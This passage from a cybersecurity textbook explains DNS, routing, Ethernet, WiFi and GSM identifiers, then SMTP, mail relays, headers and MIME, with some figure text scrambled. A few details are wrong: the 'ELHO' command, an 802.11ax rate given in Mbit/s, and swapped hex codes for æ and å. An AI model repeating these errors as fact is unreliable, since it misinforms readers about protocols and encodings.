ask its preferred DNS server, which typically lies in the sender’s ISP or—for large
companies or institutions—in the company’s own network.
• If there is no information in its preferred DNS server, it tries to ask the root server
for the domain .com, which if necessary passes the query on.
• When (if?) the IP address for x.y.com is found, it is sent back to a.b.c.org, so
contact can be established by using IP.
It is easy to try out the DNS application yourself: Both Unix- and Windows-based
systems offer a command nslookup for DNS lookup. Try for example to open a
window in which you can type in commands, and type the command:
nslookup www.google.com
140 6 Communication Networks

Table 6.2 Basic types of Resource Record in the Internet’s DNS

RR Type Data content

A The IPv4 address corresponding to the owner name.

AAAA The IPv6 address corresponding to the owner name.
CNAME The canonical name corresponding to the owner name, if the latter is an alias
name.
MX The name of a host which can be used as a mailserver for the owner.
NS The name of the authoritative DNS server for the owner’s domain. This infor-
mation is used to forward queries on their way to find the desired information.

The answer includes amongst other things the full Internet name of the system which
hosts Google’s central web server, the IP address of that system and possibly a list
of alias names which the system is also known by.
These pieces of information are stored in the DNS in Resource Records (or RRs
for short). There are several types of RR with different data content. The basic types
are briefly described in Table 6.2. The “owner name” is the Internet name of the
system or subdomain which is described in the relevant RR. Several more types of
RR which are used for security purposes are discussed in Chap. 8.
Apart from acting as a lookup mechanism for individual IP addresses and Internet
names, DNS offers the possibility of fetching data for whole domains or subdomains
in the Internet via so-called zone transfers. This is useful for intermediate DNS
servers, as they can then hold information about coherent blocks of names and
addresses without all the time having to ask servers which lie “higher up” in the
domain hierarchy.
DNS is such an important component in the Internet that it is an obvious target
for attacks. So it is a good idea here for the reader to consider which security risks
could follow from DNS’ way of operating. This important topic is discussed further
in Chap. 8.

6.2.6 How Do the Layers Work Together?

Let us now imagine that a web browser in the system a.b.c.org is to be used to
fetch information from a web server in the system www.y.com, which it has never
had contact to before. This requires a number of steps, as follows:
1. In system a.b.c.org, the web browser will use DNS to look up the IP address
for www.y.com, in the same way as in the example above. Let us suppose that the
reply is 10.20.30.40.
2. If nothing else is asked for, the browser will then try to set up a TCP connection
from one of the freely available TCP ports (e.g. port 55000) on its own system to
the allocated port 80 on the web server. It constructs a TCP PDU with the port
numbers as respectively the source and destination address.
6.3 Technology 141

3. As the web browser now knows both its own and the web server’s IP addresses,
it can put together PCI for use in an IP PDU whose payload is the TCP PDU.
4. The IP PDU is then sent off via the Link layer to the nearest router which
can send it on towards www.y.com. For this to be possible, it is necessary for
system a.b.c.org to know the router’s MAC address. If this address is not
already known, the sender must know the router’s IP address and can then use the
standard Address Resolution Protocol (ARP) to look up in yet another database,
which contains information on which MAC addresses correspond to which IP
addresses in the local network.
5. Given the router’s MAC address, a Link PDU (in Internet jargon known as a
frame) can be put together with the IP PDU as payload and be sent to the router,
which forwards it to the next MAC address along the route. This process is
repeated until the final destination is reached.
When the PDU reaches the final destination, www.y.com, it is decapsulated layer by
layer and the two parties continue to exchange data in accordance with the chosen
application protocol—in this case HTTP, as the intention is to perform web lookup.
Unless the route is to be adjusted dynamically, all the necessary addresses in all
layers are known, so it is not necessary to repeat the DNS or ARP lookups.
In many cases, this procedure can be made more efficient by caching (= storage
of copies) of the results of DNS and ARP lookups. As mentioned previously, almost
all systems contain a local resolver, in which results from the latest or most frequent
DNS lookups are saved. The results from ARP lookups are correspondingly saved
locally in an ARP-cache. Unfortunately, although caching improves response times in
the network, it introduces new security risks, which we will look at in the following
chapters.

6.3 Technology

The network’s communication nodes are basically responsible for receiving PDUs on
incoming links and sending PDUs on via one of the outgoing links in the direction of
the desired destination. In view of this main aim, most of the communication nodes

End system Communication Nodes End system

A A
T T
In In In In In
L L L L L L L L
Ph Ph Ph Ph Ph Ph Ph Ph

Medium

Fig. 6.12 End systems and communication nodes

142 6 Communication Networks

work as routers, with the typical functionality that they:

• Implement layers up to (at least) the Internet layer.
• Can choose a suitable route for sending an incoming PDU off towards its desti-
nation. The route can be fixed or be chosen dynamically to depend on the traffic.
• Can possibly filter off irrelevant or unsuitable traffic, for example:
– Traffic which has taken too long to travel through the network.
– Traffic from known unreliable sources.
– Traffic on incoming links which do not lead to the claimed source address.
– Traffic to destination systems or applications that do not want it.
– Traffic which misuses the protocols in one way or another.
This filtering function is an important element in a firewall, which is a network
component intended to protect the network’s users against unwanted traffic. We
discuss firewalls in more detail in Sect. 8.6 of Chap. 8.
A router which connects two networks or subnets with different properties, such
as different network technologies, protocols or the like, is often called a gateway. The
wireless routers which are found in many home networks are in practice examples of
gateways, as they connect the home’s wireless or cable-based LAN with a network
set up by an Internet service provider (an ISP), which will typically be based on the
telephone network. An example can be seen in Fig. 6.13.
It is in the nature of things that the typical router has at least one incoming and
several outgoing links to physical media. But sometimes there is a need for a unit
with just one incoming and one outgoing link. This type of unit is known as a bridge.
It does not offer any real routing function, but is typically used for:
• Converting between different conventions which are followed in the Physical layer
in different segments of the network—for example if the medium in one segment
is a coaxial cable which carries electrical signals, while the neighbouring segment
uses a fiberoptic medium which carries signals as pulses of light.
• Filtering to remove traffic which does not need to go over the bridge to reach its
destination.

Internet ISP

Router

Fig. 6.13 A home network with a wireless router which works as a gateway to the Internet
(Photo of Sonera House: Wikimedia Commons p)
6.3 Technology 143

In most cases, a bridge implements layers up to the Link layer and is used to connect
segments within a given network. This is illustrated in Fig. 6.14.

L
Ph Ph
Fig. 6.14 Schematic function MEDIUM MEDIUM
of a bridge Segment 1 Segment 2

6.3.1 Shared Cable-based Media

As we have seen previously, a direct connection between two systems in a network

can be a point-to-point connection which has the two parties at the ends. This is the
preferred setup for optical communication. But some technologies make it possible
for several systems to share the same cable, which then works as a shared medium.
This is especially popular in local area networks, where the widely used Ethernet
technology is based on a shared, cable-based medium.
The way in which the original version of Ethernet works is illustrated in Fig. 6.15.
Electrical signals emitted by any system connected to the cable spread out along it
in both directions. A PDU is sent as a sequence of signals, which will normally only
be received by the systems which the PDU is addressed to. However, systems can
also be set up as sniffers, which pick up all signals that come past. This can be used
for monitoring the network, but can also be misused for undesirable snooping.
To be allowed to send data via a shared medium, a system must follow the rules
in a Media Access (MAC) protocol, in order to avoid several systems disturbing one
another by sending simultaneously. Ethernet’s MAC protocol is described in IEEE
Standard 802.3. If the protocol is not followed correctly, communication through the
medium can be disturbed or even completely blocked. This fact forms the basis for
so-called DoS attacks on the network, which we look at in more detail in Sect. 8.10.

Sender
Systems: A B C D E F G H

Signals spread out from the sender

along the cable in both directions

Fig. 6.15 Communication in Ethernet

Sender
Systems: A B C D E F G H

Switch

Fig. 6.16 Communication through a shared switch

144 6 Communication Networks

The risk of sniffing can be reduced to a very low level by connecting all systems
in the network to a shared switch, instead of to a cable. This arrangement is shown
schematically in Fig. 6.16. When, for example, system C is to communicate with
system F, it must first get the switch to open a “path” through the switch to F. The
traffic which then goes between C and F (and vice versa) cannot be seen by the
other systems which are connected to the switch, and is not disturbed by the traffic
between other pairs of systems which communicate at the same time. When the
transmission is finished, the path is released again, so C and F can communicate
with other systems. An Ethernet variant known as switched Ethernet allows this type
of setup.

6.3.2 Wireless Networks

Wireless networks, which also utilise a shared medium, namely radio, can be based
on several different technologies with different operational ranges and other prop-
erties. You could in principle base a wireless network on any collection of radio
transmitters and matching receivers, but the dominating technologies in practice are
standardised by IEEE, the International Telecommunication Union (ITU-T) or the
European Telecommunications Standards Institute (ETSI). IEEE’s standards have
been published as parts of the so-called IEEE 802 series.
• Wireless Personal Area Networks (WPAN)
– IEEE 802.15 (e.g. Bluetooth, Body Area Networks, UWB, ZigBee, . . . )
• Wireless Local Area Networks (WLAN)
– IEEE 802.11 (e.g. WiFi and WiGig)
– High Performance Radio Local Area Network (HIPERLAN)
• Wireless Metropolitan Area Networks (WMAN)
– IEEE 802.16 (e.g. WiMax)
• Wireless Wide Area Networks (WWAN)
– Various ETSI standards (GSM, GPRS, EDGE, UMTS, LTE, . . . )
Standardisation is important for ensuring interoperability, that is to say the ability of
equipment of different makes to communicate with one another. As radio communi-
cation is in general regulated, with different frequency bands allocated for different
purposes, it is also important that technologies for general use respect this allocation.
Among the technologies which cover relatively small areas (WPAN and WLAN),
the group which supports wireless LAN (WLAN) is by far the most widespread. It is
nowadays almost impossible to buy a stationary PC or a laptop, smartphone, printer
or similar unit, which cannot communicate via one or more versions of WiFi. These
versions are described in various parts of the 802.11 standard, as shown in Table 6.3.
6.3 Technology 145

Table 6.3 Commonly implemented WiFi technology standards

IEEE Max. Data Typical Frequency Comments Aka.
Standard rate range band
802,11 2 Mbit/s 50–100 m 2,4 GHz
802.11a 54 Mbit/s 50–120 m 5 GHz Not compatiblw with 802,11b WiFi 2
802.11b 11 Mbit/s 50–140 m 2.4 GHz The first commonly used wireless network WiFi 1
802.11g 54 Mbit/s 50–140 m 2.4 GHz Backward compatible with 802,11b WiFi 3
802.11n 600 Mbit/s 50–270 m 2,4/5 GHz Backward compatible with 802,11b/g or a WiFi 4
802.11ac 3.47 Gbit/s 50–140 m 5 GHz Backward compatible with 802.11n WiFi 5
802.11ad 7 Gbit/s 5–10 m 60 GHz Used for WiGig
802.11ax 9,61 Mbit/s 50–120 m 2.4/5/6 GHz WiFi 6

The whole group of IEEE 802.11 related standards consists of 43 completed or

planned parts. Apart from the basic technology standards shown in Table 6.3, we
will in this book only refer to the part 802.11i, which describes extensions to give
better security. We shall look at this in Chap. 8.

6.3.2.1 IEEE 802.11 Modes of Operation

A wireless network which is built up in accordance with the 802.11 standard can
operate in two different modes, known as Infrastructure Mode and Ad hoc Mode.
Infrastructure Mode, illustrated in Fig. 6.17, is the mode which most resembles
the modes of operation used in other types of radio-based network:
• There is a wireless network card in each station (“STA”).
• STAs can only communicate with one another via an Access Point (AP).
• A group of STAs attached to a given AP make up a Basic Service Set (BSS).
• Multiple APs (= multiple BSSs) are connected via a cable-based infrastructure to
form an Extended Service Set (ESS).
• An ESS is identified by a Service Set IDentifier (SSID), which is typically a name
in ordinary text. When you turn on a WiFi device to connect to a WiFi network,
you use the SSID to select which network to connect to.
In Ad hoc Mode, illustrated in Fig. 6.18, there is still a wireless network card
in every station but no APs, so the individual stations make up a BSS in which
they can communicate directly with one another. This can be a security risk, as each
participant has to rely on all the others being well-behaved, as there is no AP between
them to perform any sort of control.
146 6 Communication Networks

Fig. 6.17 WiFi Infrastructure Mode: An ESS with two BSSs

Fig. 6.18 WiFi Ad Hoc mode

6.3.3 Mobile Telephones on the Net

The European Telecommunications Standards Institute, ETSI, has handled the stan-
dardisation of a long series of communication protocols for use in the mobile tele-
phone nework. These include protocols for transmission of data to and from telephone
equipment such as mobile telephones and the more advanced smartphones.
What the individual telephone subscribers get offered depends on which “gener-
ation” of telephone equipment they use. The possibility of using digital communi-
cation was introduced with the second generation (2G) of equipment, based in most
countries on the GSM system. In a system based on “raw” GSM, it is possible to
communicate with other telephones by speech and short text messages (via the SMS
service) at low data rates—typically at most 6–10 text messages per minute. As a
basic text message cannot be longer than 160 7-bit characters, this corresponds to
a maximum data rate of around 190 bit/s, an extremely small value compared with
what people are used to in ordinary data communication.
The solution to this severe limitation was to develop the General Packet Radio
Service (GPRS). This is an extension to GSM which permits digital communication
between the telephone and ordinary Internet-based equipment via TCP/IP at speeds
which under favourable conditions can be up to 80 kbit/s. Speeds up to around
240 kbit/s can be achieved by using EDGE, a further extension to GSM+GPRS,
sometimes known as EGPRS (Extended GPRS). Subsequently, 3G systems have
been developed which, for example, by using the UMTS protocol can reach speeds
around 384 kbit/s, or right up to 42 Mbit/s if the Evolved HSPA extension is imple-
6.3 Technology 147

mented. The 4G systems deployed from around 2013 use LTE Advanced or Mobile
WiMAX technologies to achieve speeds between 300 Mbit/s and 1 Gbit/s. And the 5G
systems now being deployed are expected to offer speeds up to 10 Gbit/s and very
low latency, making them suitable for use for fast communication between small
electronic devices in the Internet of Things (IOT).
Irrespective of which generation of equipment is used, the architecture of a mobile
telephone network resembles the one used in Infrastructure mode in a WLAN. The
mobile unit communicates wirelessly with a mast known as a “Base Transceiver
Station” (BTS) within the range of its wireless equipment. From the BTS, the
information—speech or ordinary data—is passed on through a core network, in
which the internal communication can be based on cables, fiberoptic connections,
radio links, satellite links or other means, depending on the distance and other fac-
tors. Through the core network it is possible to communicate with equipment on
the Internet (if GPRS or one of its extensions is available), other mobile phones
and ordinary landline phones. A schematic view of this architecture can be seen in
Fig. 6.19.
The figure can look very confusing due to its use of acronyms for most of the
components. Here follows a short explanation. A Base Station Controller (BSC)
collects up data from one or more masts (BTSs), each of which can handle one or
more mobile stations, and passes these data on. Speech and text messages are passed
to a Mobile Switching Center (MSC), which deals with setting up a connection
through the network to the destination via a Gateway MSC (GMSC), which handles

1 2 3

4 5 6

7 8 9

# 0
*

PSTN

AuC

MSC/VLR GMSC

Mast Mast
Mobile
BTS controller HLR SCP
Station
BSC

3G-SGSN GGSN
Access network

Core network

IP network

Fig. 6.19 The architecture of a telephone network based on GSM

148 6 Communication Networks

the transition to the Public Switched Telephone Network (PSTN). Ordinary data
which is to be sent through the Internet is sent to a Serving GPRS Support Node
(SGSN), which can handle GPRS, and which sends them on to a Gateway GPRS
Support Node (GGSN), which handles the transition to the Internet.
This was the high-level explanation of how the mobile telephone network works.
But there are also some small, but very important, components which have signifi-
cance for cybersecurity. From a technical point of view, a mobile telephone consists
of two independent parts: A mobile unit (i.e. the physical telephone) and an identity
module (IM), which is a small tamper-proof smartcard with information about the
subscriber. In a GSM network, for example, the well-known SIM card is used as
the identity module (in fact, SIM stands for Subscriber Identity Module). An HLR
(Home Location Register) is a central database, which contains details of subscribers
who are registered with the network’s operator. There can be several HLRs in a given
country’s telephone network, but a given subscriber can only appear in one of them.
He or she is registered with a telephone number (in this context known by the impres-
sive title Mobile Station International Subscriber Directory Number, MSISDN) and
a user identification, the so-called IMSI (International Mobile Subscriber Identity),
which identifies the subscriber and network operator, and which is globally unique.
The structures of an IMSI and an MSISDN can be seen in Fig. 6.20.
An IMSI is a number with up to 15 digits, where the 3 first digits are a country code
(Mobile Country Code, MCC), the next 2 or 3 digits identify the operator’s network
within the country (Mobile Network Code, MNC) and the remaining digits identify
the subscriber (Mobile Subscription Identification Number, MSIN). An MSISDN is
likewise a number with up to 15 digits, where the first 1 to 3 digits are a country
code (Country Code, CC), which is followed by an area code (Area Code, AC) if the
country’s telecommunication network is divided up into separate areas, and the last
digits give the subscriber’s number within the area/country.
A Visitor Location Register (VLR), which is often embedded in the MSC, cor-
respondingly registers data for those subscribers who are “visiting” the operator’s
network as a result of roaming. When they are registered in the VLR, their own HLR
is informed, so that the operator running the home net can redirect traffic as needed.
This is an important function in a mobile network, where stations are moving round
all the time. Information about the subscriber is stored in his or her SIM card and

Denmark
Denmark
Telenor

238021234567890 4529876543
CC
MCC MNC MSIN AC

310012123456789 15009515432

Verizon Wireless
USA North America

Fig. 6.20 The structure of an IMSI (left) and an MSISDN (right)

6.3 Technology 149

in a database in the network’s Authentication Centre (AuC), which checks the infor-
mation in the SIM card before the subscriber is allowed to register on the network.
We return to this topic in Chap. 8, where we discuss security in the mobile network
in more detail.

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• A communication node
• An end system (or host)
• A layered architecture
• OSI Reference Model
• The Internet reference model
• A (network) service
• A (communication) protocol
• A PDU
• PCI
• Encapsulation and decapsulation
• An address
• An Internet name
• A port number
• An IP address
• A MAC-address
• An Internet domain
• An allocated port
• A registered port
• A TCP flag
• A three-way handshake
• DNS
• A resolver
• A zone transfer
• A router
• A gateway
• A bridge
• A shared medium
• A wireless network
• WiFi
• A GSM net
• A UMTS net
• A Base Transceiver Station
• An MSISDN
• An IMSI
150 6 Communication Networks

You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further Reading

For readers without any special technical background, Douglas Comer’s book “The
Internet Book: Everything you need to know about computer networking and how
the Internet works”, now in its 4th. edition from 2007 [15], gives a good introduction
to the Internet and how it works. Two books with more technical detail are Comer’s
“Computer Networks and Internets”, now in its 6th. edition from 2014 [16], and
Kurose and Ross’s “Computer Networking—A Top-Down Approach Featuring the
Internet”, now in its 7th. edition from 2016 [60].
For even more details about how the Internet works it is necessary to consult the
Internet’s own documentation, which is assembled from a large number of so-called
RFCs, each of which is identified by a number. For example, RFC793 describes in
detail how TCP works. RFC stands for Request for Comments, and the typical RFC
is a proposed description of a protocol for use in the Internet. As the name implies,
interested parties can comment on it and suggest changes or corrections. Eventually
this process may lead to the publication of a new, revised RFC, which gets a new
number. If after 6 months there is general agreement on the text, the RFC is given
a status of Draft Standard. After at least another 4 months, it can be promoted to
an Internet Standard, where it gets an extra number which identifies it in the series
of full standards (STDs). RFC793, for example, is Internet Standard STD7. If a
modified version of the protocol is developed at a later date, it gets a completely
new RFC number. The current status of all RFCs is published at regular intervals
in a catalogue which (of course) itself is an RFC, published as STD1, with the
title ”Internet Protocol Standards”. It is easy to find the RFCs on the Internet. The
RFC editor maintains a website, https://www.rfc-editor.org, where it is possible
to search for RFCs using various criteria, such as the RFC’s number or status, or by
a search based on keywords.

Exercises

6.1 IP addresses
Which IP addresses do the systems with the following Internet names have?
a) www.dr.dk
b) acm.org
c) whitehouse.gov
d) www.cam.ac.uk
Exercises 151

Which Internet names are used to identify systems with the following IP addresses?
Remember that there can be several alias names for each system, so you do not
necessarily get told the name which you otherwise know for the given address.
e) 192.235.64.11
f) 131.111.150.25
g) 130.225.89.66
h) 144.121.3.181
i) 134.147.64.11

6.2 TCP ports

Which Internet applications use the following TCP/UDP port numbers on the server
side?
a) 69
b) 88
c) 111
d) 123
e) 636
f) 1169
g) 1214
h) 1241
Which of these port numbers are allocated by IANA and which of them are just
registered by IANA?

6.3 Registration databases

Investigate which information is in the Internet’s publicly available name registration
databases about the domains:
a) dtu.dk
b) compute.dtu.dk
c) ieee.org
This exercise is easiest to solve by using the Unix command whois or a web-based
lookup service such as whois.domaintools.com.

6.4 Geolocation
An easily accessible tool for geolocation is Freegeoip, which can be accessed via
a web browser at URI https://freegeoip.net. Use it to find the location for the
following IP addresses:
a) 192.235.64.11
b) 131.111.150.25
c) 130.225.73.250
d) 144.121.3.181
e) 134.147.64.11
152 6 Communication Networks

It can also be interesting to investigate how accurate the tool is for finding the location
of systems which have given IP addresses. Try with some IP addresses for which
you know precisely where the systems are placed.

6.5 Identities in the mobile network

From time to time, people want to change to a new telephone company, where they
for example have a cheaper subscription or better conditions. In many countries it
is also possible to have the telephone number which you had with the old company
transferred to your new subscription. What needs to be changed, and where, if the
subscription is for a mobile telephone?
Chapter 7
Network Applications

Even if there are more complicated possibilities, which we briefly looked at in

Sect. 1.2 in Chap. 1, the large majority of protocols in the Internet’s Application
layer are designed to support applications based on the client-server architecture.
In this way of organising an application, one of the parties—the server—offers to
perform tasks for the other party—the client. The client sends a request to the server,
which the server reacts to, most often by performing the requested task and sending
a response back to the client. The actual exchange of requests and responses follows
the rules in the specific protocol. There are many hundreds of Internet applications,
but here we will only look at two of the most commonly used ones. These are
quite typical examples, which also have some built-in weaknesses that make them
interesting targets for cyberattacks.

7.1 Mail Transfer

The protocol SMTP (Simple Mail Transfer Protocol) is used to transfer mail mes-
sages, which a user has created, to one or more other users. The client is in this case
part of a mail application in the user’s computer. In the Internet world the mail is not
sent directly to the recipient (who might not be logged in when the mail is sent), but
is transferred to a mailbox associated with the recipient. This is illustrated in Fig. 7.1.
The recipient must use another protocol (typically POP3 or IMAP) to fetch the mail
from the mailbox, when he or she wants to read it—but that is quite another story.
A simple example of a dialogue between a client in the system gogo.molester.dk
and an SMTP server in the system design.fake.com is shown in Fig. 7.2. It con-
sists of a sequence of exchanges in which the client sends a command which consists
of a 4-letter code, possibly followed by some parameters, to the server and the server
replies with a response, which consists of three digits and possibly other informa-
tion. The entire dialogue between the client and server goes via a TCP connection
set up in advance between gogo.molester.dk and design.fake.com, where port

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 153
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_7
154 7 Network Applications

Mailer
application
SMTP request
SMTP SMTP
Client Server
SMTP response mailbox

Fig. 7.1 Mail transfer in the Internet

ELHO gogo.molester.dk
250-design.fake.com
250 DSN
MAIL FROM:<[email protected]>
250 OK
RCPT TO:<[email protected]>
250 OK
DATA
354 Start mail input; end with <CRLF>.<CRLF>
From: Ingvar Bonesen <[email protected]>
To: Bent Fuppesen <[email protected]>
Date: 15 Aug 2021 13:31:02 +0200
Subject: Client destructor

Here are the secret plans for the client destructor

etc. etc. etc.
.
250 OK
QUIT
221 design.fake.com

Fig. 7.2 Exchange of messages in SMTP

Commands from the client to the server are shown in black typewriter font and responses from
server to client in red italics .

nummer 25 is used on the server side. The significance of the individual exchanges
in the dialogue is as follows:
1. The client announces itself as a client to the server and gives the name of the
client’s system (gogo.molester.dk) as parameter to the ELHO-command. The
server responds with the return code 250, which means that the command is
accepted, and supplies the server’s name (design.fake.com) as parameter for
the response. If the server supports some service extensions for SMTP, it sends
further response lines with return code 250, stating which extensions are available.
In the example, the server states that it supports a single extension, DSN (Delivery
Status Notification), which makes it possible for the client to provide rules for
when it wants to be notified about delivery (or lack of delivery) of messages to
the recipient. It is up to the client to decide whether it will make use of any of the
supported extensions.
7.1 Mail Transfer 155

2. The client informs the server where replies to the mail are to be sent by supplying
the relevant mailbox name (here [email protected]) as parameter for the
MAIL command. The server responds with the return code 250, which again
indicates acceptance.
3. The client tells the server who is to receive the mail by supplying the relevant
mailbox name (here [email protected]) as parameter for the RCPT
command. The server again gives a positive response. If there are several recipients
for a message, the client sends a RCPT command and the server gives a response
for each of them.
4. By sending the DATA command, the client asks the server to make ready to receive
the actual text of the message. Once again, the server gives a positive response,
this time with the return code 354, together with instructions for how the message
is to be formatted.
5. The client sends the text of the message and terminates it with a line only con-
taining a full stop (.), in accordance with the formatting instructions. The server
responds with the return code 250, indicating acceptance.
6. The client finishes off with QUIT, and the server responds with the return code
221 with the server’s name as parameter. (This is to help the client, which perhaps
has active exchanges with several servers at the same time...).
Now the dialogue is finished. Notice that all responses from the server have been
positive. This is not always the case. Return codes which start with 2 are positive
responses; those that start with 3 give information; those that start with 4 indicate
possibly temporary errors—so it makes sense to try again later—while those that
start with 5 are permanent errors, such as use of an unknown command, specification
of an unknown or blocked mailbox for the recipient, or a serious lack of resources
on the server.
SMTP is an old protocol (originally from 1982), and even in this simple example
you can see that it is from a time before security was a serious issue. For example,
the exchanges between client and server contain redundant information: the MAIL
and RCPT commands from the client tell the server who the sender and receiver of
the mail are. But essentially the same information is present in the text of the mail
(between the server’s 354 response and the full stop which terminates the text) and it
is that version which most mail readers show on the recipient’s screen. Unfortunately
there is no check that the same information is given in both places. Nor is there any
check that the address given in the MAIL command belongs to the system which the
mail is sent from. So it is possible for an attacker to send spoofed mail, where what
the recipient sees in the To and From fields on his screen is completely made up.
This is a technique which is typically used by attackers who send spam or phishing
mails. Solution of this problem requires effective authentification of the sender. We
return to this topic in the next chapter.
156 7 Network Applications

7.1.1 Mail Relays

Figures 7.1 and 7.2 show an imaginary situation in which e-mail is transferred
directly from the sender’s e-mail client to a mailbox belonging to the recipient. In
practice this is unusual and will only occur if sender and recipient use the same mail
server—for example, within a company. Otherwise mail is sent to its destination in
several hops through intermediate mail servers. The first hop normally goes from
the sender’s mail client (in this context often called the sender’s Mail User Agent
or MUA for short) to an SMTP server which the sender’s ISP makes available and
which the sender’s MUA is configured to use. This server operates as a Mail Transfer
Agent (MTA for short) which works as an SMTP client to forward the mail to the next
server (= MTA) on the way to the destination. The MTA is said to work as a mail
relay. A simple situation, where there is only a single intermediate hop, is shown in
Fig. 7.3.

Ingvar Bonesen's Bent Fuppesen's

MUA MUA
SMTP
POP3/IMAP

SMTP

DNS MX
Server

for
Server

des
ign. Mail server in
Sender's mail server f ake receiver's domain
.co m?
smtp.molester.dk mail.fake.com
mai
l.fak
e.co
m
DNS

Server

DNS server in
receiver's domain
ns.fake.com

Fig. 7.3 Mail relaying in the Internet

The figure shows how Ingvar Bonesen (mailbox [email protected]) sends

a mail to Bent Fuppesen ([email protected]). When the recipient, as
here, is in a remote domain (design.fake.com), the sender’s mail server (here
smtp.molester.dk) will not necessarily know which mail server it should pass the
mail to. So as a first step the sender’s mail server must use DNS to find the Resource
Record of type MX (see Table 6.2), which contains information about the MTA which
can act as a relay for mail which is to be sent on to design.fake.com. In the
figure you can see that the DNS server replies that the MTA has the Internet name
mail.fake.com. In more complicated cases, it may be necessary to go through a
chain of several MTAs to reach the destination, but the principle is the same: each
7.1 Mail Transfer 157

MTA in the chain passes the mail on to the next one. All communication between
these MTAs takes place using SMTP, where the sending MTA acts as client and
the receiving MTA as server. When the mail reaches the last MTA in the chain, it
is not sent any further but is stored in the recipient’s mailbox and can be fetched
from there by using one of the Internet protocols POP3 or IMAP, as indicated in the
figure, or via a gateway to a system based on an industry standard, such as Microsoft
Exchange, Lotus/Notes or a webmail application.

7.1.2 The Structure of a Mail

The actual mail which is sent via SMTP is the text which is sent by the use of
the DATA command. It consists of a series of header lines, which describe various
aspects of the transfer, and a body, which is the actual message to the recipient. Each
header line starts with a keyword followed by a colon, for example:
To: where the rest of the line specifies which mailbox(es) the mail is to be
sent to.
From: where the rest of the line specifies the sender’s mailbox;
Date: where the rest of the line specifies the date and time when the mail was
sent.
Subject: the topic of the message.
The mail in Fig. 7.2 shows concrete examples of header lines with these keywords.
The use of From: and Date: is mandatory, while the two others are optional. There
are a large number of other optional header lines which are commonly used, including
the well-known Cc: and Bcc: to specify who is to receive copies of the mail, and
Reply-To: to specify where any replies are to be sent, if they are not to be sent to
the mailbox given in the From: header line. All these header lines are typically set
by the sender’s MUA.
Further header lines are added by the MTAs which the mail passes. The first
MTA in the chain will typically add a Message-ID: header line, which includes an
identifier which is globally unique for just exactly this mail. A typical way to form
this id is to combine the time of day with the Internet name of the sender’s domain.
This identifier can be used as a reference when a reply to the mail is sent, and will
then be added by the replying user’s MUA in an In-Reply-To: header line, while
the reply itself gets a new unique Message-ID: header line.
To make it possible to track where the mail has been on its way to its destination,
and to keep track of how long it has stayed in the various MTAs, every MTA must
add a Received: header line to the mail, with information on where the mail was
received from, the time it was received and a unique id for the MTA. In the case of
Ingvar Bonesen’s mail, the final version of the mail when it reaches mail.fake.com
could look as shown in Fig. 7.4.
Just before this mail is delivered to Bent Fuppesen’s mailbox, the last MTA adds
yet another header line, Return-Path:, which specifies the mailbox to which any
158 7 Network Applications

Received: from smtp.molester.dk by mail.fake.com;

15 Aug 2021 15.34.27 +0400
Received: from gogo.molester.dk by smtp.molester.dk;
15 Aug 2021 13.31.03 +0200
From: Ingvar Bonesen <[email protected]>
To: Bent Fuppesen <[email protected]>
Date: 15 Aug 2021 13:31:02 +0200
Subject: Client destructor
Message-ID: <[email protected]>

Here are the secret plans for the client destructor

etc. etc. etc.

Fig. 7.4 The final version of the mail from Ingvar Bonesen to Bent Fuppesen
The blank line terminates the header lines; the rest of the text is the mail’s body.

information about delivery is to be sent. By default, this is the same as the original
sender’s mailbox, as given in the MAIL command and repeated in the From: header
line. The recipient’s MUA will in many cases only show a selection of these header
lines, but many mail clients can be set up to show all of them. This is an advantage
if an unexpected situation needs to be investigated.
An attacker can cause havoc in the system by modifying the header lines, so
that the mail does not arrive, is misdirected or is disclosed to outsiders. In the next
chapter we will see how cryptographic techniques can be used to secure mail against
disclosure or modification during transfer. Blocking or unauthorised copying of mail
in the MTAs themselves is a separate problem; to avoid it, you have to be able to trust
all the MTAs which the mail will pass through. This means that you have to trust
that they behave correctly and are well protected against malware and hacker attacks,
and they have to trust you. Several incidents, such as the Microsoft Exchange server
hack mentioned in Chap. 1, clearly demonstrate that this can be a big challenge!

7.1.3 MIME

Now it can be that the reader wonders why two Scandinavians, Ingvar Bonesen and
Bent Fuppesen, send mails to one another in English. There are of course many
possible non-technical explanations for this, but there is also a possible technical
explanation: The basic version of SMTP can only handle documents written in US
ASCII characters, where each character is represented by 7 bits. The character set
is an American standard set and only makes it possible to write English letters,
English punctuation and digits—and only 128 different characters in total, of which
only 96 are visible, while the rest are for controlling equipment, such as printers
and modems. To send more complex documents, it is necessary to use an extended
version of SMTP. Some of the most important and most used extensions belong to a
7.1 Mail Transfer 159

group which is usually just known as MIME (short for Multipurpose Internet Mail
Extensions). These extensions make it possible to handle messages where:
• The body contains text with characters which do not lie in the US ASCII character
set.
• The body contains non-text, such as pictures, audio files or videos.
• The body consists of several parts.
• The header contains characters from other character sets than US ASCII.
• The body is encrypted and/or signed with an electronic signature.
MIME works by representing everything which is not already in US ASCII
characters by sequences of US ASCII characters, that can make up the body of an
SMTP mail in the usual way. The encoding is typically used on relatively large
portions of data, such as whole documents or pictures, etc. Each such portion is
known as a MIME entity, and is encoded as a header followed by a body. The header
consists of a number of fields, which specify the body’s content type and encoding
type, and possibly a textual description and a reference, which can be used to refer
to the entity from other entities. A simple example is shown in Fig. 7.5. The two first
lines make up the entity’s header and the remaining lines are its body.

Content-type: text/plain; charset=ISO-8859-1

Content-transfer-encoding: quoted-printable
K=E6re Ole,=0DJeg h=E5ber ikke, du har noget imod, at jeg =
l=E5nte dit eksemplar af l=E6rebogen. Jeg l=E6gger det ti=
lbage, s=E5 snart jeg har l=E6st kapitel 3.=0D=0DMange hil=
sener=0DS=F8ren

Fig. 7.5 A simple MIME entity

The content type is here specified as text/plain, with its characters taken from
the character set defined in the international standard ISO-8859-1, which covers
western european characters. As the text contains some Danish letters, these must be
represented by ASCII characters for transmission via SMTP. The encoding which is
used is specified as quoted-printable, which means that every:
• non-graphical character,
• graphical character which is not an ASCII character,
• equals sign,
• blank character (space, tabulator etc.) at the end of a line
is to be replaced by a 3-character code =XY, where X and Y are two hexadecimal digits
which represent the character’s code value. In the figure, for example, =E5 stands for
æ, =E6 for å, =F8 for ø and =0D for the non-graphical character for newline. The lines
